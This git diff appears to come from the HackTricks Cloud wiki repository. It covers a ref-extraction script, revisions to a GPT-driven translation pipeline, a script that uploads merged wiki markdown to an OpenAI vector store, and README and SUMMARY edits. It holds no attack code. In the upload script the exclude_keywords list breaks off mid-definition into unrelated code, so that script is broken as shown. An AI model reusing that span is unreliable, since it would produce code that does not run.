#!/usr/bin/env python3
|
||||
import json
|
||||
import re
|
||||
from pathlib import Path
|
||||
|
||||
SRC_DIR = Path("./src")
|
||||
REFS_JSON = Path("/tmp/refs.json")
|
||||
|
||||
# Matches content between {{#ref}} and {{#endref}}, including newlines, lazily
|
||||
REF_RE = re.compile(r"{{#ref}}\s*([\s\S]*?)\s*{{#endref}}", re.MULTILINE)
|
||||
|
||||
def extract_refs(text: str):
|
||||
"""Return a list of refs (trimmed) in appearance order."""
|
||||
return [m.strip() for m in REF_RE.findall(text)]
|
||||
|
||||
def main():
|
||||
if not SRC_DIR.is_dir():
|
||||
raise SystemExit(f"Not a directory: {SRC_DIR}")
|
||||
|
||||
refs_per_path = {} # { "relative/path.md": [ref1, ref2, ...] }
|
||||
|
||||
for md_path in sorted(SRC_DIR.rglob("*.md")):
|
||||
rel = md_path.relative_to(SRC_DIR).as_posix()
|
||||
try:
|
||||
content = md_path.read_text(encoding="utf-8")
|
||||
except UnicodeDecodeError:
|
||||
# Fallback if encoding is odd
|
||||
content = md_path.read_text(errors="replace")
|
||||
|
||||
refs = extract_refs(content)
|
||||
refs_per_path[rel] = refs # keep order from findall
|
||||
|
||||
|
||||
REFS_JSON.write_text(json.dumps(refs_per_path, indent=2, ensure_ascii=False) + "\n", encoding="utf-8")
|
||||
print(f"Wrote {REFS_JSON} with {len(refs_per_path)} files.")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -12,15 +12,25 @@ from tqdm import tqdm #pip3 install tqdm
|
||||
import traceback
|
||||
|
||||
|
||||
|
||||
MASTER_BRANCH = "master"
|
||||
VERBOSE = True
|
||||
MAX_TOKENS = 10000 #gpt-4-1106-preview
|
||||
MAX_TOKENS = 50000 #gpt-4-1106-preview
|
||||
DISALLOWED_SPECIAL = "<|endoftext|>"
|
||||
REPLACEMENT_TOKEN = "<END_OF_TEXT>"
|
||||
|
||||
def _sanitize(text: str) -> str:
|
||||
"""
|
||||
Replace the reserved tiktoken token with a harmless placeholder.
|
||||
Called everywhere a string can flow into tiktoken.encode() or the
|
||||
OpenAI client.
|
||||
"""
|
||||
return text.replace(DISALLOWED_SPECIAL, REPLACEMENT_TOKEN)
|
||||
|
||||
def reportTokens(prompt, model):
|
||||
encoding = tiktoken.encoding_for_model(model)
|
||||
# print number of tokens in light gray, with first 50 characters of prompt in green. if truncated, show that it is truncated
|
||||
#print("\033[37m" + str(len(encoding.encode(prompt))) + " tokens\033[0m" + " in prompt: " + "\033[92m" + prompt[:50] + "\033[0m" + ("..." if len(prompt) > 50 else ""))
|
||||
prompt = _sanitize(prompt)
|
||||
return len(encoding.encode(prompt))
|
||||
|
||||
|
||||
@@ -36,35 +46,37 @@ def get_branch_files(branch):
|
||||
files = result.stdout.decode().splitlines()
|
||||
return set(files)
|
||||
|
||||
def delete_unique_files(branch):
|
||||
def get_unused_files(branch):
|
||||
"""Delete files that are unique to branch2."""
|
||||
# Get the files in each branch
|
||||
files_branch1 = get_branch_files(MASTER_BRANCH)
|
||||
files_branch2 = get_branch_files(branch)
|
||||
files_branch_master = get_branch_files(MASTER_BRANCH)
|
||||
files_branch_lang = get_branch_files(branch)
|
||||
|
||||
# Find the files that are in branch2 but not in branch1
|
||||
unique_files = files_branch2 - files_branch1
|
||||
unique_files = files_branch_lang - files_branch_master
|
||||
|
||||
if unique_files:
|
||||
# Switch to the second branch
|
||||
subprocess.run(["git", "checkout", branch])
|
||||
|
||||
# Delete the unique files from the second branch
|
||||
for file in unique_files:
|
||||
subprocess.run(["git", "rm", file])
|
||||
|
||||
subprocess.run(["git", "checkout", MASTER_BRANCH])
|
||||
|
||||
print(f"[+] Deleted {len(unique_files)} files from branch: {branch}")
|
||||
return unique_files
|
||||
|
||||
|
||||
def cp_translation_to_repo_dir_and_check_gh_branch(branch, temp_folder, translate_files):
|
||||
"""
|
||||
Get the translated files from the temp folder and copy them to the repo directory in the expected branch.
|
||||
Also remove all the files that are not in the master branch.
|
||||
"""
|
||||
branch_exists = subprocess.run(['git', 'show-ref', '--verify', '--quiet', 'refs/heads/' + branch])
|
||||
# If branch doesn't exist, create it
|
||||
if branch_exists.returncode != 0:
|
||||
subprocess.run(['git', 'checkout', '-b', branch])
|
||||
else:
|
||||
subprocess.run(['git', 'checkout', branch])
|
||||
|
||||
# Get files to delete
|
||||
files_to_delete = get_unused_files(branch)
|
||||
|
||||
# Delete files
|
||||
for file in files_to_delete:
|
||||
os.remove(file)
|
||||
print(f"[+] Deleted {file}")
|
||||
|
||||
# Walk through source directory
|
||||
for dirpath, dirnames, filenames in os.walk(temp_folder):
|
||||
@@ -79,32 +91,72 @@ def cp_translation_to_repo_dir_and_check_gh_branch(branch, temp_folder, translat
|
||||
for file_name in filenames:
|
||||
src_file = os.path.join(dirpath, file_name)
|
||||
shutil.copy2(src_file, dest_path)
|
||||
|
||||
print(f"Translated files copied to branch: {branch}")
|
||||
if not "/images/" in src_file and not "/theme/" in src_file:
|
||||
print(f"[+] Copied from {src_file} to {file_name}")
|
||||
|
||||
if translate_files:
|
||||
subprocess.run(['git', 'add', "-A"])
|
||||
subprocess.run(['git', 'commit', '-m', f"Translated {translate_files} to {branch}"[:72]])
|
||||
subprocess.run(['git', 'checkout', MASTER_BRANCH])
|
||||
print("Commit created and moved to master branch")
|
||||
commit_and_push(translate_files, branch)
|
||||
else:
|
||||
print("No commiting anything, leaving in language branch")
|
||||
|
||||
def commit_and_push(translate_files, branch):
|
||||
# Define the commands we want to run
|
||||
commands = [
|
||||
['git', 'add', '-A'],
|
||||
['git', 'commit', '-m', f"Translated {translate_files} to {branch}"[:72]],
|
||||
['git', 'push', '--set-upstream', 'origin', branch],
|
||||
]
|
||||
|
||||
for cmd in commands:
|
||||
result = subprocess.run(cmd, capture_output=True, text=True)
|
||||
|
||||
# Print stdout and stderr (if any)
|
||||
if result.stdout:
|
||||
print(f"STDOUT for {cmd}:\n{result.stdout}")
|
||||
if "nothing to commit" in result.stdout.lower():
|
||||
print("Nothing to commit, leaving")
|
||||
exit(0)
|
||||
|
||||
if result.stderr:
|
||||
print(f"STDERR for {cmd}:\n{result.stderr}")
|
||||
|
||||
# Check for errors
|
||||
if result.returncode != 0:
|
||||
raise RuntimeError(
|
||||
f"Command `{cmd}` failed with exit code {result.returncode}"
|
||||
)
|
||||
|
||||
print("Commit created and pushed")
|
||||
|
||||
|
||||
def translate_text(language, text, file_path, model, cont=0, slpitted=False, client=None):
|
||||
if not text:
|
||||
return text
|
||||
|
||||
messages = [
|
||||
{"role": "system", "content": "You are a professional hacker, translator and writer. You write everything super clear and as concise as possible without loosing information. Do not return invalid Unicode output."},
|
||||
{"role": "system", "content": f"The following is content from a hacking book about hacking techiques. The following content is from the file {file_path}. Translate the relevant English text to {language} and return the translation keeping excatly the same markdown and html syntax. Do not translate things like code, hacking technique names, hacking word, cloud/SaaS platform names (like Workspace, aws, gcp...), the word 'leak', pentesting, and markdown tags. Also don't add any extra stuff apart from the translation and markdown syntax."},
|
||||
{"role": "system", "content": "You are a professional hacker, translator and writer. You translate everything super clear and as concise as possible without loosing information. Do not return invalid Unicode output and do not translate markdown or html tags or links."},
|
||||
{"role": "system", "content": f"""The following is content from a hacking book about technical hacking techiques. The following given content is from the file {file_path}.
|
||||
Translate the relevant English text to {language} and return the translation keeping exactly the same markdown and html syntax and following this guidance:
|
||||
|
||||
- Don't translate things like code, hacking technique names, common hacking words, cloud/SaaS platform names (like Workspace, aws, gcp...), the word 'leak', pentesting, links and markdown tags.
|
||||
- Don't translate links or paths, e.g. if a link or ref is to "lamda-post-exploitation.md" don't translate that path to the language.
|
||||
- Don't translate or modify tags, links, refs and paths like in:
|
||||
- {{#tabs}}
|
||||
- {{#tab name="Method1"}}
|
||||
- {{#ref}}\ngeneric-methodologies-and-resources/pentesting-methodology.md\n{{#endref}}
|
||||
- {{#include ./banners/hacktricks-training.md}}
|
||||
- {{#ref}}macos-tcc-bypasses/{{#endref}}
|
||||
- {{#ref}}0.-basic-llm-concepts.md{{#endref}}
|
||||
- Don't translate any other tag, just return markdown and html content as is.
|
||||
|
||||
Also don't add any extra stuff in your response that is not part of the translation and markdown syntax."""},
|
||||
{"role": "user", "content": text},
|
||||
]
|
||||
try:
|
||||
response = client.chat.completions.create(
|
||||
model=model,
|
||||
messages=messages,
|
||||
temperature=0
|
||||
temperature=1 # 1 because gpt-5 doesn't support other
|
||||
)
|
||||
except Exception as e:
|
||||
print("Python Exception: " + str(e))
|
||||
@@ -149,6 +201,9 @@ def translate_text(language, text, file_path, model, cont=0, slpitted=False, cli
|
||||
return translate_text(language, text, file_path, model, cont, False, client)
|
||||
|
||||
response_message = response.choices[0].message.content.strip()
|
||||
response_message = response_message.replace("bypassy", "bypasses") # PL translations translates that from time to time
|
||||
response_message = response_message.replace("Bypassy", "Bypasses")
|
||||
response_message = response_message.replace("-privec.md", "-privesc.md") # PL translations translates that from time to time
|
||||
|
||||
# Sometimes chatgpt modified the number of "#" at the beginning of the text, so we need to fix that. This is specially important for the first line of the MD that mucst have only 1 "#"
|
||||
cont2 = 0
|
||||
@@ -170,9 +225,11 @@ def split_text(text, model):
|
||||
chunks = []
|
||||
chunk = ''
|
||||
in_code_block = False
|
||||
in_ref = False
|
||||
|
||||
for line in lines:
|
||||
# If we are in a code block, just add the code to the chunk
|
||||
|
||||
# Keep code blocks as one chunk
|
||||
if line.startswith('```'):
|
||||
|
||||
# If we are in a code block, finish it with the "```"
|
||||
@@ -188,8 +245,24 @@ def split_text(text, model):
|
||||
chunk += line + '\n'
|
||||
|
||||
continue
|
||||
|
||||
"""
|
||||
Prevent refs using `` like:
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/pentesting-network/`spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md`
|
||||
{{#endref}}
|
||||
"""
|
||||
if line.startswith('{{#ref}}'):
|
||||
in_ref = True
|
||||
|
||||
if in_ref:
|
||||
line = line.replace("`", "")
|
||||
|
||||
if line.startswith('{{#endref}}'):
|
||||
in_ref = False
|
||||
|
||||
|
||||
# If new section, see if we should be splitting the text
|
||||
if (line.startswith('#') and reportTokens(chunk + "\n" + line.strip(), model) > MAX_TOKENS*0.8) or \
|
||||
reportTokens(chunk + "\n" + line.strip(), model) > MAX_TOKENS:
|
||||
|
||||
@@ -202,23 +275,30 @@ def split_text(text, model):
|
||||
return chunks
|
||||
|
||||
|
||||
def copy_gitbook_dir(source_path, dest_path):
|
||||
folder_name = ".gitbook/"
|
||||
source_folder = os.path.join(source_path, folder_name)
|
||||
destination_folder = os.path.join(dest_path, folder_name)
|
||||
if not os.path.exists(source_folder):
|
||||
print(f"Error: {source_folder} does not exist.")
|
||||
else:
|
||||
# Copy the .gitbook folder
|
||||
shutil.copytree(source_folder, destination_folder)
|
||||
print(f"Copied .gitbook folder from {source_folder} to {destination_folder}")
|
||||
def copy_dirs(source_path, dest_path, folder_names):
|
||||
for folder_name in folder_names:
|
||||
source_folder = os.path.join(source_path, folder_name)
|
||||
destination_folder = os.path.join(dest_path, folder_name)
|
||||
if not os.path.exists(source_folder):
|
||||
print(f"Error: {source_folder} does not exist.")
|
||||
else:
|
||||
# Copy the theme folder
|
||||
shutil.copytree(source_folder, destination_folder)
|
||||
print(f"Copied {folder_name} folder from {source_folder} to {destination_folder}")
|
||||
|
||||
def copy_summary(source_path, dest_path):
|
||||
file_name = "src/SUMMARY.md"
|
||||
source_filepath = os.path.join(source_path, file_name)
|
||||
dest_filepath = os.path.join(dest_path, file_name)
|
||||
shutil.copy2(source_filepath, dest_filepath)
|
||||
print("[+] Copied SUMMARY.md")
|
||||
def move_files_to_push(source_path, dest_path, relative_file_paths):
|
||||
for file_path in relative_file_paths:
|
||||
source_filepath = os.path.join(source_path, file_path)
|
||||
dest_filepath = os.path.join(dest_path, file_path)
|
||||
if not os.path.exists(source_filepath):
|
||||
print(f"Error: {source_filepath} does not exist.")
|
||||
else:
|
||||
shutil.copy2(source_filepath, dest_filepath)
|
||||
print(f"[+] Copied {file_path}")
|
||||
|
||||
def copy_files(source_path, dest_path):
|
||||
file_names = ["src/SUMMARY.md", "hacktricks-preprocessor.py", "book.toml", ".gitignore", "src/robots.txt"]
|
||||
move_files_to_push(source_path, dest_path, file_names)
|
||||
|
||||
def translate_file(language, file_path, file_dest_path, model, client):
|
||||
global VERBOSE
|
||||
@@ -234,7 +314,7 @@ def translate_file(language, file_path, file_dest_path, model, client):
|
||||
translated_content = ''
|
||||
start_time = time.time()
|
||||
for chunk in content_chunks:
|
||||
# Don't trasnlate code blocks
|
||||
# Don't translate code blocks
|
||||
if chunk.startswith('```'):
|
||||
translated_content += chunk + '\n'
|
||||
else:
|
||||
@@ -248,9 +328,10 @@ def translate_file(language, file_path, file_dest_path, model, client):
|
||||
f.write(translated_content)
|
||||
|
||||
#if VERBOSE:
|
||||
print(f"Page {file_path} translated in {elapsed_time:.2f} seconds")
|
||||
print(f"Page {file_path} translated in {file_dest_path} in {elapsed_time:.2f} seconds")
|
||||
|
||||
|
||||
"""
|
||||
def translate_directory(language, source_path, dest_path, model, num_threads, client):
|
||||
all_markdown_files = []
|
||||
for subdir, dirs, files in os.walk(source_path):
|
||||
@@ -280,17 +361,17 @@ def translate_directory(language, source_path, dest_path, model, num_threads, cl
|
||||
tb = traceback.format_exc()
|
||||
print(f'Translation generated an exception: {exc}')
|
||||
print("Traceback:", tb)
|
||||
|
||||
"""
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("- Version 1.1.1")
|
||||
print("- Version 2.0.0")
|
||||
# Set up argparse
|
||||
parser = argparse.ArgumentParser(description='Translate gitbook and copy to a new branch.')
|
||||
parser.add_argument('-d', '--directory', action='store_true', help='Translate a full directory.')
|
||||
#parser.add_argument('-d', '--directory', action='store_true', help='Translate a full directory.')
|
||||
parser.add_argument('-l', '--language', required=True, help='Target language for translation.')
|
||||
parser.add_argument('-b', '--branch', required=True, help='Branch name to copy translated files.')
|
||||
parser.add_argument('-k', '--api-key', required=True, help='API key to use.')
|
||||
parser.add_argument('-m', '--model', default="gpt-4o-mini", help='The openai model to use. By default: gpt-4o-mini')
|
||||
parser.add_argument('-m', '--model', default="gpt-5-mini", help='The openai model to use. By default: gpt-5-mini')
|
||||
parser.add_argument('-o', '--org-id', help='The org ID to use (if not set the default one will be used).')
|
||||
parser.add_argument('-f', '--file-paths', help='If this is set, only the indicated files will be translated (" , " separated).')
|
||||
parser.add_argument('-n', '--dont-cd', action='store_false', help="If this is true, the script won't change the current directory.")
|
||||
@@ -345,7 +426,7 @@ if __name__ == "__main__":
|
||||
translate_files = None # Need to initialize it here to avoid error
|
||||
if args.file_paths:
|
||||
# Translate only the indicated file
|
||||
translate_files = [f for f in args.file_paths.split(' , ') if f]
|
||||
translate_files = list(set([f.strip() for f in args.file_paths.split(',') if f]))
|
||||
for file_path in translate_files:
|
||||
#with tqdm(total=len(all_markdown_files), desc="Translating Files") as pbar:
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor:
|
||||
@@ -359,23 +440,21 @@ if __name__ == "__main__":
|
||||
#pbar.update()
|
||||
except Exception as exc:
|
||||
print(f'Translation generated an exception: {exc}')
|
||||
|
||||
# Delete possibly removed files from the master branch
|
||||
delete_unique_files(branch)
|
||||
|
||||
elif args.directory:
|
||||
|
||||
#elif args.directory:
|
||||
# Translate everything
|
||||
translate_directory(language, source_folder, dest_folder, model, num_threads, client)
|
||||
#translate_directory(language, source_folder, dest_folder, model, num_threads, client)
|
||||
|
||||
else:
|
||||
print("You need to indicate either a directory or a list of files to translate.")
|
||||
exit(1)
|
||||
exit(0)
|
||||
|
||||
# Copy summary
|
||||
copy_summary(source_folder, dest_folder)
|
||||
# Copy Summary
|
||||
copy_files(source_folder, dest_folder)
|
||||
|
||||
# Copy .gitbook folder
|
||||
copy_gitbook_dir(source_folder, dest_folder)
|
||||
folder_names = ["theme/", "src/images/"]
|
||||
copy_dirs(source_folder, dest_folder, folder_names)
|
||||
|
||||
# Create the branch and copy the translated files
|
||||
cp_translation_to_repo_dir_and_check_gh_branch(branch, dest_folder, translate_files)
|
||||
|
||||
297
scripts/upload_ht_to_ai.py
Normal file
297
scripts/upload_ht_to_ai.py
Normal file
@@ -0,0 +1,297 @@
|
||||
import os
|
||||
import requests
|
||||
import zipfile
|
||||
import tempfile
|
||||
import time
|
||||
import glob
|
||||
import re
|
||||
|
||||
from openai import OpenAI
|
||||
|
||||
# Initialize OpenAI client
|
||||
client = OpenAI(api_key=os.getenv("MY_OPENAI_API_KEY"))
|
||||
|
||||
# Vector Store ID
|
||||
VECTOR_STORE_ID = "vs_67e9f92e8cc88191911be54f81492fb8"
|
||||
|
||||
# --------------------------------------------------
|
||||
# Step 1: Download and Extract Markdown Files
|
||||
# --------------------------------------------------
|
||||
|
||||
def download_zip(url, save_path):
|
||||
print(f"Downloading zip from: {url}")
|
||||
response = requests.get(url)
|
||||
response.raise_for_status() # Ensure the download succeeded
|
||||
with open(save_path, "wb") as f:
|
||||
f.write(response.content)
|
||||
print(f"Downloaded zip from: {url}")
|
||||
|
||||
def extract_markdown_files(zip_path, extract_dir):
|
||||
print(f"Extracting zip: {zip_path} to {extract_dir}")
|
||||
with zipfile.ZipFile(zip_path, "r") as zip_ref:
|
||||
zip_ref.extractall(extract_dir)
|
||||
# Recursively find all .md files
|
||||
md_files = glob.glob(os.path.join(extract_dir, "**", "*.md"), recursive=True)
|
||||
|
||||
return md_files
|
||||
|
||||
# Repository URLs
|
||||
hacktricks_url = "https://github.com/HackTricks-wiki/hacktricks/archive/refs/heads/master.zip"
|
||||
hacktricks_cloud_url = "https://github.com/HackTricks-wiki/hacktricks-cloud/archive/refs/heads/main.zip"
|
||||
|
||||
# Temporary directory for downloads and extraction
|
||||
temp_dir = tempfile.mkdtemp()
|
||||
try:
|
||||
# Download zip archives
|
||||
print("Downloading Hacktricks repositories...")
|
||||
hacktricks_zip = os.path.join(temp_dir, "hacktricks.zip")
|
||||
hacktricks_cloud_zip = os.path.join(temp_dir, "hacktricks_cloud.zip")
|
||||
download_zip(hacktricks_url, hacktricks_zip)
|
||||
download_zip(hacktricks_cloud_url, hacktricks_cloud_zip)
|
||||
|
||||
# Extract the markdown files
|
||||
hacktricks_extract_dir = os.path.join(temp_dir, "hacktricks")
|
||||
hacktricks_cloud_extract_dir = os.path.join(temp_dir, "hacktricks_cloud")
|
||||
|
||||
md_files_hacktricks = extract_markdown_files(hacktricks_zip, hacktricks_extract_dir)
|
||||
md_files_hacktricks_cloud = extract_markdown_files(hacktricks_cloud_zip, hacktricks_cloud_extract_dir)
|
||||
|
||||
all_md_files = md_files_hacktricks + md_files_hacktricks_cloud
|
||||
print(f"Found {len(all_md_files)} markdown files.")
|
||||
finally:
|
||||
# Optional cleanup of temporary files after processing
|
||||
# shutil.rmtree(temp_dir)
|
||||
pass
|
||||
|
||||
# --------------------------------------------------
|
||||
# Step 2: Remove All Existing Files in the Vector Store
|
||||
# --------------------------------------------------
|
||||
# List current files in the vector store and delete each one.
|
||||
existing_files = list(client.vector_stores.files.list(VECTOR_STORE_ID))
|
||||
print(f"Found {len(existing_files)} files in the vector store. Removing them...")
|
||||
|
||||
for file_obj in existing_files:
|
||||
# Delete the underlying file object; this removes it from the vector store.
|
||||
try:
|
||||
client.files.delete(file_id=file_obj.id)
|
||||
print(f"Deleted file: {file_obj.id}")
|
||||
time.sleep(1) # Give it a moment to ensure the deletion is processed
|
||||
except Exception as e:
|
||||
# Handle potential errors during deletion
|
||||
print(f"Error deleting file {file_obj.id}: {e}")
|
||||
|
||||
# ----------------------------------------------------
|
||||
# Step 3: Clean markdown Files
|
||||
# ----------------------------------------------------
|
||||
# Clean markdown files and marge them so it's easier to
|
||||
# uplaod to the vector store.
|
||||
|
||||
|
||||
def clean_and_merge_md_files(start_folder, exclude_keywords, output_file):
|
||||
def clean_file_content(file_path):
|
||||
"""Clean the content of a single file and return the cleaned lines."""
|
||||
with open(file_path, "r", encoding="utf-8") as f:
|
||||
content = f.readlines()
|
||||
|
||||
cleaned_lines = []
|
||||
inside_hint = False
|
||||
for i,line in enumerate(content):
|
||||
# Skip lines containing excluded keywords
|
||||
if any(keyword in line for keyword in exclude_keywords):
|
||||
continue
|
||||
|
||||
# Detect and skip {% hint %} ... {% endhint %} blocks
|
||||
if "{% hint style=\"success\" %}" in line and "Learn & practice" in content[i+1]:
|
||||
inside_hint = True
|
||||
if "{% endhint %}" in line:
|
||||
inside_hint = False
|
||||
continue
|
||||
if inside_hint:
|
||||
continue
|
||||
|
||||
if line.startswith("#") and "reference" in line.lower(): #If references part reached, just stop reading the file
|
||||
break
|
||||
|
||||
# Skip lines with <figure> ... </figure>
|
||||
if re.match(r"<figure>.*?</figure>", line):
|
||||
continue
|
||||
|
||||
# Add the line if it passed all checks
|
||||
cleaned_lines.append(line.rstrip())
|
||||
|
||||
# Remove excess consecutive empty lines
|
||||
cleaned_lines = remove_consecutive_empty_lines(cleaned_lines)
|
||||
return cleaned_lines
|
||||
|
||||
def remove_consecutive_empty_lines(lines):
|
||||
"""Allow no more than one consecutive empty line."""
|
||||
cleaned_lines = []
|
||||
previous_line_empty = False
|
||||
for line in lines:
|
||||
if line.strip() == "":
|
||||
if not previous_line_empty:
|
||||
cleaned_lines.append("")
|
||||
previous_line_empty = True
|
||||
else:
|
||||
cleaned_lines.append(line)
|
||||
previous_line_empty = False
|
||||
return cleaned_lines
|
||||
|
||||
def gather_files_in_order(start_folder):
|
||||
"""Gather all .md files in a depth-first order."""
|
||||
files = []
|
||||
for root, _, filenames in os.walk(start_folder):
|
||||
md_files = sorted([os.path.join(root, f) for f in filenames if f.endswith(".md") and f.lower() not in ["summary.md", "references.md"]])
|
||||
files.extend(md_files)
|
||||
return files
|
||||
|
||||
# Gather files in depth-first order
|
||||
all_files = gather_files_in_order(start_folder)
|
||||
|
||||
# Process files and merge into a single output
|
||||
with open(output_file, "w", encoding="utf-8") as output:
|
||||
for file_path in all_files:
|
||||
# Clean the content of the file
|
||||
cleaned_content = clean_file_content(file_path)
|
||||
|
||||
# Skip saving if the cleaned file has fewer than 10 non-empty lines
|
||||
if len([line for line in cleaned_content if line.strip()]) < 10:
|
||||
continue
|
||||
|
||||
# Get the name of the file for the header
|
||||
file_name = os.path.basename(file_path)
|
||||
|
||||
# Write header, cleaned content, and 2 extra new lines
|
||||
output.write(f"### Start file: {file_name} ###\n\n")
|
||||
output.write("\n".join(cleaned_content))
|
||||
output.write("\n\n")
|
||||
|
||||
# Specify the starting folder and output file
|
||||
start_folder = os.getcwd()
|
||||
|
||||
# Keywords to exclude from lines
|
||||
exclude_keywords = [
|
||||
"hacktricks-training.md",
|
||||
", "hacktricks.md")
|
||||
htc_file = os.path.join(tempfile.gettempdir(), "hacktricks-cloud.md")
|
||||
clean_and_merge_md_files(hacktricks_extract_dir, exclude_keywords, ht_file)
|
||||
print(f"Merged content has been saved to: {ht_file}")
|
||||
clean_and_merge_md_files(hacktricks_cloud_extract_dir, exclude_keywords, htc_file)
|
||||
print(f"Merged content has been saved to: {htc_file}")
|
||||
|
||||
|
||||
# ----------------------------------------------------
|
||||
# Step 4: Upload All Markdown Files to the Vector Store
|
||||
# ----------------------------------------------------
|
||||
# Upload two files to the vector store.
|
||||
# Uploading .md hacktricks files individually can be slow,
|
||||
# so thats why we merged it before into just 2 files.
|
||||
|
||||
file_streams = []
|
||||
|
||||
ht_stream = open(ht_file, "rb")
|
||||
file_streams.append(ht_stream)
|
||||
htc_stream = open(htc_file, "rb")
|
||||
file_streams.append(htc_stream)
|
||||
|
||||
file_batch = client.vector_stores.file_batches.upload_and_poll(
|
||||
vector_store_id=VECTOR_STORE_ID,
|
||||
files=file_streams
|
||||
)
|
||||
|
||||
time.sleep(60) # Sleep for a minute to ensure the upload is processed
|
||||
ht_stream.close()
|
||||
htc_stream.close()
|
||||
|
||||
|
||||
""""This was to upload each .md independently, wich turned out to be a nightmare
|
||||
# Ensure we don't exceed the maximum number of file streams
|
||||
|
||||
for file_path in all_md_files:
|
||||
# Check if we have reached the maximum number of streams
|
||||
if len(file_streams) >= 300:
|
||||
print("Reached maximum number of file streams (300). Uploading current batch...")
|
||||
# Upload the current batch before adding more files
|
||||
file_batch = client.vector_stores.file_batches.upload_and_poll(
|
||||
vector_store_id=VECTOR_STORE_ID,
|
||||
files=file_streams
|
||||
)
|
||||
print("Upload status:", file_batch.status)
|
||||
print("File counts:", file_batch.file_counts)
|
||||
# Clear the list for the next batch
|
||||
file_streams = []
|
||||
time.sleep(120) # Sleep for 2 minutes to avoid hitting API limits
|
||||
try:
|
||||
stream = open(file_path, "rb")
|
||||
file_streams.append(stream)
|
||||
except Exception as e:
|
||||
print(f"Error opening {file_path}: {e}")
|
||||
|
||||
if file_streams:
|
||||
# Upload files and poll for completion
|
||||
file_batch = client.vector_stores.file_batches.upload_and_poll(
|
||||
vector_store_id=VECTOR_STORE_ID,
|
||||
files=file_streams
|
||||
)
|
||||
print("Upload status:", file_batch.status)
|
||||
print("File counts:", file_batch.file_counts)
|
||||
else:
|
||||
print("No markdown files to upload.")"
|
||||
|
||||
|
||||
# Close all file streams
|
||||
for stream in file_streams:
|
||||
stream.close()
|
||||
"""
|
||||
1
searchindex.js
Normal file
1
searchindex.js
Normal file
File diff suppressed because one or more lines are too long
@@ -4,9 +4,10 @@
|
||||
|
||||
<figure><img src="images/cloud.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_Logotipos e motion do Hacktricks desenhados por_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
_Hacktricks logos & motion designed by_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
### Run HackTricks Cloud Locally
|
||||
|
||||
### Executar o HackTricks Cloud localmente
|
||||
```bash
|
||||
# Download latest version of hacktricks cloud
|
||||
git clone https://github.com/HackTricks-wiki/hacktricks-cloud
|
||||
@@ -33,28 +34,30 @@ export LANG="master" # Leave master for English
|
||||
# Run the docker container indicating the path to the hacktricks-cloud folder
|
||||
docker run -d --rm --platform linux/amd64 -p 3377:3000 --name hacktricks_cloud -v $(pwd)/hacktricks-cloud:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
|
||||
```
|
||||
Sua cópia local do HackTricks Cloud ficará **disponível em [http://localhost:3377](http://localhost:3377)** após um minuto.
|
||||
|
||||
### **Metodologia de Pentesting CI/CD**
|
||||
Your local copy of HackTricks Cloud will be **available at [http://localhost:3377](http://localhost:3377)** after a minute.
|
||||
|
||||
**Na Metodologia HackTricks CI/CD você encontrará como realizar pentesting em infraestrutura relacionada às atividades de CI/CD.** Leia a página a seguir para uma **introdução:**
|
||||
### **Pentesting CI/CD Methodology**
|
||||
|
||||
**In the HackTricks CI/CD Methodology you will find how to pentest infrastructure related to CI/CD activities.** Read the following page for an **introduction:**
|
||||
|
||||
[pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
|
||||
|
||||
### Metodologia de Pentesting Cloud
|
||||
### Pentesting Cloud Methodology
|
||||
|
||||
**Na Metodologia HackTricks Cloud você encontrará como realizar pentesting em ambientes cloud.** Leia a página a seguir para uma **introdução:**
|
||||
**In the HackTricks Cloud Methodology you will find how to pentest cloud environments.** Read the following page for an **introduction:**
|
||||
|
||||
[pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md)
|
||||
|
||||
### Licença & Aviso Legal
|
||||
### License & Disclaimer
|
||||
|
||||
**Consulte-os em:**
|
||||
**Check them in:**
|
||||
|
||||
[HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
|
||||
|
||||
### Estatísticas do Github
|
||||
### Github Stats
|
||||
|
||||

|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
271
src/SUMMARY.md
271
src/SUMMARY.md
@@ -9,7 +9,6 @@
|
||||
# 🏭 Pentesting CI/CD
|
||||
|
||||
- [Pentesting CI/CD Methodology](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
|
||||
- [Docker Build Context Abuse in Cloud Envs](pentesting-ci-cd/docker-build-context-abuse.md)
|
||||
- [Gitblit Security](pentesting-ci-cd/gitblit-security/README.md)
|
||||
- [Ssh Auth Bypass](pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md)
|
||||
- [Github Security](pentesting-ci-cd/github-security/README.md)
|
||||
@@ -42,7 +41,6 @@
|
||||
- [Atlantis Security](pentesting-ci-cd/atlantis-security.md)
|
||||
- [Cloudflare Security](pentesting-ci-cd/cloudflare-security/README.md)
|
||||
- [Cloudflare Domains](pentesting-ci-cd/cloudflare-security/cloudflare-domains.md)
|
||||
- [Cloudflare Workers Pass Through Proxy Ip Rotation](pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md)
|
||||
- [Cloudflare Zero Trust Network](pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md)
|
||||
- [Okta Security](pentesting-ci-cd/okta-security/README.md)
|
||||
- [Okta Hardening](pentesting-ci-cd/okta-security/okta-hardening.md)
|
||||
@@ -57,7 +55,6 @@
|
||||
# ⛈️ Pentesting Cloud
|
||||
|
||||
- [Pentesting Cloud Methodology](pentesting-cloud/pentesting-cloud-methodology.md)
|
||||
